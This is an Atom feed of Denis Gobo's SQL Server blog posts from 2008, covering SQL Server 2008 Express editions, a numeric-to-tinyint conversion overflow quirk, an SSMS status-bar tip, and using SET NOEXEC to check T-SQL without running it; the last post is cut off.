<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://sqlblog.com/utility/FeedStylesheets/atom.xsl" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><title type="html">Denis Gobo</title><subtitle type="html" /><id>http://sqlblog.com/blogs/denis_gobo/atom.aspx</id><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/default.aspx" /><link rel="self" type="application/atom+xml" href="http://sqlblog.com/blogs/denis_gobo/atom.aspx" /><generator uri="http://communityserver.org" version="2.1.61129.1">Community Server</generator><updated>2008-06-12T17:30:00Z</updated><entry><title>SQL Server 2008 Express with Advanced Services And Tools Now Available For Download</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/08/26/8582.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/08/26/8582.aspx</id><published>2008-08-26T18:21:00Z</published><updated>2008-08-26T18:21:00Z</updated><content type="html">&lt;P&gt;I just noticed that there are 3 versions of SQL Server 2008 Express available for download&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;LI class=padded&gt;&lt;SPAN&gt;&lt;A href="http://go.microsoft.com/?linkid=9314315"&gt;SQL Server 2008 Express&lt;/A&gt;&lt;/SPAN&gt; 
&lt;UL&gt;
&lt;LI&gt;&lt;SPAN&gt;SQL Server database engine - create, store, update and retrieve your data &lt;/SPAN&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;LI class=padded&gt;&lt;SPAN&gt;&lt;A href="http://go.microsoft.com/?linkid=9394725"&gt;SQL Server 2008 Express with Tools&lt;/A&gt;&lt;/SPAN&gt; 
&lt;UL&gt;
&lt;LI&gt;&lt;SPAN&gt;SQL Server database engine - create, store, update and retrieve your data&lt;/SPAN&gt; 
&lt;LI&gt;&lt;SPAN&gt;SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases&lt;/SPAN&gt;&lt;/LI&gt;&lt;/UL&gt;
&lt;LI class=padded&gt;&lt;SPAN&gt;&lt;A href="http://go.microsoft.com/?linkid=9394724"&gt;SQL Server 2008 Express with Advanced Services&lt;/A&gt;&lt;/SPAN&gt; 
&lt;UL&gt;
&lt;LI&gt;&lt;SPAN&gt;SQL Server database engine - create, store, update and retrieve your data&lt;/SPAN&gt; 
&lt;LI&gt;&lt;SPAN&gt;SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases&lt;/SPAN&gt; 
&lt;LI&gt;&lt;SPAN&gt;Full-text Search - powerful, high-speed engine for searching text-intensive data&lt;/SPAN&gt; 
&lt;LI&gt;&lt;SPAN&gt;Reporting Services - integrated report creation and design environment to create reports&lt;/SPAN&gt;&lt;/LI&gt;&lt;/UL&gt;&lt;/LI&gt;
&lt;P&gt;&lt;SPAN&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN&gt;Get it all here &lt;A href="http://www.microsoft.com/express/sql/download/"&gt;http://www.microsoft.com/express/sql/download/&lt;/A&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN&gt;If you register your copy you can get a free eBook and other goodies&lt;/SPAN&gt;&lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=SQL Server 2008 Express with Advanced Services And Tools Now Available For Download&amp;amp;body=Seen on SQLblog.com: %0A%0A%09SQL Server 2008 Express with Advanced Services And Tools Now Available For Download%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/08/26/8582.aspx" target="_blank" title = "Email SQL Server 2008 Express with Advanced Services And Tools Now Available For Download"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/26/8582.aspx&amp;amp;title=SQL+Server+2008+Express+with+Advanced+Services+And+Tools+Now+Available+For+Download" target="_blank" title = "Submit SQL Server 2008 Express with Advanced Services And Tools Now Available For Download to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/26/8582.aspx&amp;amp;phase=2" target="_blank" title = "Submit SQL Server 2008 Express with Advanced Services And Tools Now Available For Download to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/26/8582.aspx&amp;amp;title=SQL+Server+2008+Express+with+Advanced+Services+And+Tools+Now+Available+For+Download" target="_blank" title = "Submit SQL Server 2008 Express with Advanced Services And Tools Now Available For Download to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/26/8582.aspx&amp;amp;title=SQL+Server+2008+Express+with+Advanced+Services+And+Tools+Now+Available+For+Download" target="_blank" title = "Submit SQL Server 2008 Express with Advanced Services And Tools Now Available For Download to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/26/8582.aspx&amp;amp;title=SQL+Server+2008+Express+with+Advanced+Services+And+Tools+Now+Available+For+Download&amp;amp;;top=1" target="_blank" title = "Add SQL Server 2008 Express with Advanced Services And Tools Now Available For Download to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=8582" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="SQL Server 2008 Express" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Server+2008+Express/default.aspx" /></entry><entry><title>Interesting Bug/Feature In SQL Server 2008 RTM</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/08/25/8545.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/08/25/8545.aspx</id><published>2008-08-25T15:28:00Z</published><updated>2008-08-25T15:28:00Z</updated><content type="html">&lt;P&gt;Someone &lt;A class="" href="http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=3788438&amp;amp;SiteID=1"&gt;had a problem with 8 year old procs&lt;/A&gt; which started to fail after moving to SQL Server 2008&lt;BR&gt;Of course he should have used ints, but let's see what happens&lt;/P&gt;
&lt;P&gt;Run this code on SQL Server 2005 and 2000&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;DECLARE&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;Numeric&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;2&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;);&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SET&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;-&lt;/FONT&gt;&lt;FONT size=2&gt;1&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;IF&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;@num_Passed &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;PRINT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'True'&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;No problem right?&lt;/P&gt;
&lt;P&gt;Run just this part on SQL 2008&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;DECLARE&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;Numeric&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;2&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;);&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SET&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;-&lt;/FONT&gt;&lt;FONT size=2&gt;1&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed&lt;/P&gt;
&lt;P&gt;&lt;/FONT&gt;No problem either&lt;BR&gt;Now run this whole thing&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;DECLARE&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;Numeric&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;2&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;);&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SET&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; -1&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;IF&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;@num_Passed &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;PRINT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'True'&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;BR&gt;Oops, this is what we get&lt;BR&gt;Server: Msg 8115, Level 16, State 2, Line 7&lt;BR&gt;Arithmetic overflow error converting expression to data type tinyint.&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;Change the -1 to 1&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;DECLARE&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;Numeric&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;2&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;);&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SET&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; 1&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; @num_Passed&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;IF&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;@num_Passed &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;PRINT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'True'&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;BR&gt;No problem either.&lt;/P&gt;
&lt;P&gt;Run this&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;IF&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;convert&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;Numeric&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;2&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;),-&lt;/FONT&gt;&lt;FONT size=2&gt;1&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;PRINT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'True'&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;That fails&lt;BR&gt;Let's make it numeric(3,0)&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;IF&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;convert&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;Numeric&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;3&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;),-&lt;/FONT&gt;&lt;FONT size=2&gt;1&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;PRINT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'True'&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;&lt;BR&gt;No problem, that runs fine. So is this a bug because of implicit conversion to tinyint which can't hold negative values?&lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=Interesting Bug/Feature In SQL Server 2008 RTM&amp;amp;body=Seen on SQLblog.com: %0A%0A%09Interesting Bug/Feature In SQL Server 2008 RTM%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/08/25/8545.aspx" target="_blank" title = "Email Interesting Bug/Feature In SQL Server 2008 RTM"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/25/8545.aspx&amp;amp;title=Interesting+Bug%2fFeature+In+SQL+Server+2008+RTM" target="_blank" title = "Submit Interesting Bug/Feature In SQL Server 2008 RTM to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/25/8545.aspx&amp;amp;phase=2" target="_blank" title = "Submit Interesting Bug/Feature In SQL Server 2008 RTM to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/25/8545.aspx&amp;amp;title=Interesting+Bug%2fFeature+In+SQL+Server+2008+RTM" target="_blank" title = "Submit Interesting Bug/Feature In SQL Server 2008 RTM to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/25/8545.aspx&amp;amp;title=Interesting+Bug%2fFeature+In+SQL+Server+2008+RTM" target="_blank" title = "Submit Interesting Bug/Feature In SQL Server 2008 RTM to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/25/8545.aspx&amp;amp;title=Interesting+Bug%2fFeature+In+SQL+Server+2008+RTM&amp;amp;;top=1" target="_blank" title = "Add Interesting Bug/Feature In SQL Server 2008 RTM to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=8545" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="SQL Server 2008" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Server+2008/default.aspx" /><category term="Bug" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/Bug/default.aspx" /></entry><entry><title>SQL Server 2008 Management Studio tip: Status Bar Custom Colors</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8362.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8362.aspx</id><published>2008-08-13T19:59:00Z</published><updated>2008-08-13T19:59:00Z</updated><content type="html">&lt;P&gt;Joni Moilanen has a very nice tip about how you can use custom colors in the status bar so that you don't truncate that production table yet again :-)&lt;/P&gt;
&lt;P&gt;Check it out here: &lt;A href="http://blog.jemm.net/2008/08/12/sql-server-2008-management-studio-tip-status-bar-custom-colors/"&gt;http://blog.jemm.net/2008/08/12/sql-server-2008-management-studio-tip-status-bar-custom-colors/&lt;/A&gt;&lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=SQL Server 2008 Management Studio tip: Status Bar Custom Colors&amp;amp;body=Seen on SQLblog.com: %0A%0A%09SQL Server 2008 Management Studio tip: Status Bar Custom Colors%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8362.aspx" target="_blank" title = "Email SQL Server 2008 Management Studio tip: Status Bar Custom Colors"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8362.aspx&amp;amp;title=SQL+Server+2008+Management+Studio+tip%3a+Status+Bar+Custom+Colors" target="_blank" title = "Submit SQL Server 2008 Management Studio tip: Status Bar Custom Colors to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8362.aspx&amp;amp;phase=2" target="_blank" title = "Submit SQL Server 2008 Management Studio tip: Status Bar Custom Colors to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8362.aspx&amp;amp;title=SQL+Server+2008+Management+Studio+tip%3a+Status+Bar+Custom+Colors" target="_blank" title = "Submit SQL Server 2008 Management Studio tip: Status Bar Custom Colors to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8362.aspx&amp;amp;title=SQL+Server+2008+Management+Studio+tip%3a+Status+Bar+Custom+Colors" target="_blank" title = "Submit SQL Server 2008 Management Studio tip: Status Bar Custom Colors to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8362.aspx&amp;amp;title=SQL+Server+2008+Management+Studio+tip%3a+Status+Bar+Custom+Colors&amp;amp;;top=1" target="_blank" title = "Add SQL Server 2008 Management Studio tip: Status Bar Custom Colors to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=8362" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="SQL Server 2008" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Server+2008/default.aspx" /><category term="Tips and Tricks" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/Tips+and+Tricks/default.aspx" /></entry><entry><title>SQL Tip, Compiling Your SQL Without Running It To See If It Would Run</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8352.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8352.aspx</id><published>2008-08-13T15:19:00Z</published><updated>2008-08-13T15:19:00Z</updated><content type="html">&lt;P&gt;Let's say you have a big SQL script with a ton of code and you want to make sure it runs but you don't want to execute it because it updates tables, deletes data etc etc.&lt;BR&gt;Take this simple example&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;GETDATE&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;()&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;GO&lt;/P&gt;
&lt;P&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; 1&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;/&lt;/FONT&gt;&lt;FONT size=2&gt;asasasas&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;GO&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;&lt;BR&gt;You can probably guess that the second statement is not valid, when you have a lot of code it is more difficult to spot these things.&lt;BR&gt;Execute the code above and you will get this&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;(1 row(s) affected)&lt;/P&gt;
&lt;P&gt;Server: Msg 207, Level 16, State 1, Line 1&lt;BR&gt;Invalid column name 'asasasas'.&lt;/P&gt;
&lt;P&gt;SQL Server has the SET NOEXEC statement. From BOL: &lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;When SET NOEXEC is ON, Microsoft® SQL Server™ compiles each batch of Transact-SQL statements but does not execute them. When SET NOEXEC is OFF, all batches are executed after compilation.&lt;/P&gt;
&lt;P&gt;The execution of statements in SQL Server consists of two phases: compilation and execution. This setting is useful for having SQL Server validate the syntax and object names in Transact-SQL code when executing. It is also useful for debugging statements that would usually be part of a larger batch of statements.&lt;/P&gt;
&lt;P&gt;The setting of SET NOEXEC is set at execute or run time and not at parse time.&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;&lt;BR&gt;So execute the code below&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;SET&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;NOEXEC&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;ON&lt;/P&gt;
&lt;P&gt;GO&lt;/P&gt;
&lt;P&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;GETDATE&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;()&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;GO&lt;/P&gt;
&lt;P&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; 1&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;/&lt;/FONT&gt;&lt;FONT size=2&gt;asasasas&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;GO&lt;/P&gt;
&lt;P&gt;SET&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;NOEXEC&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;OFF&lt;/P&gt;
&lt;P&gt;GO&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;As you can see the output is the following:&lt;BR&gt;Server: Msg 207, Level 16, State 1, Line 1&lt;BR&gt;Invalid column name 'asasasas'.&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;You never see the getdate. Parsing that code will not throw an error and because of deferred name resolution you can fat-finger table names and it will parse without a problem. Using NOEXEC is a nice way of seeing if your code would run. The question is, of course, whether you need to do this at all since we all have a QA server &amp;lt;g&amp;gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
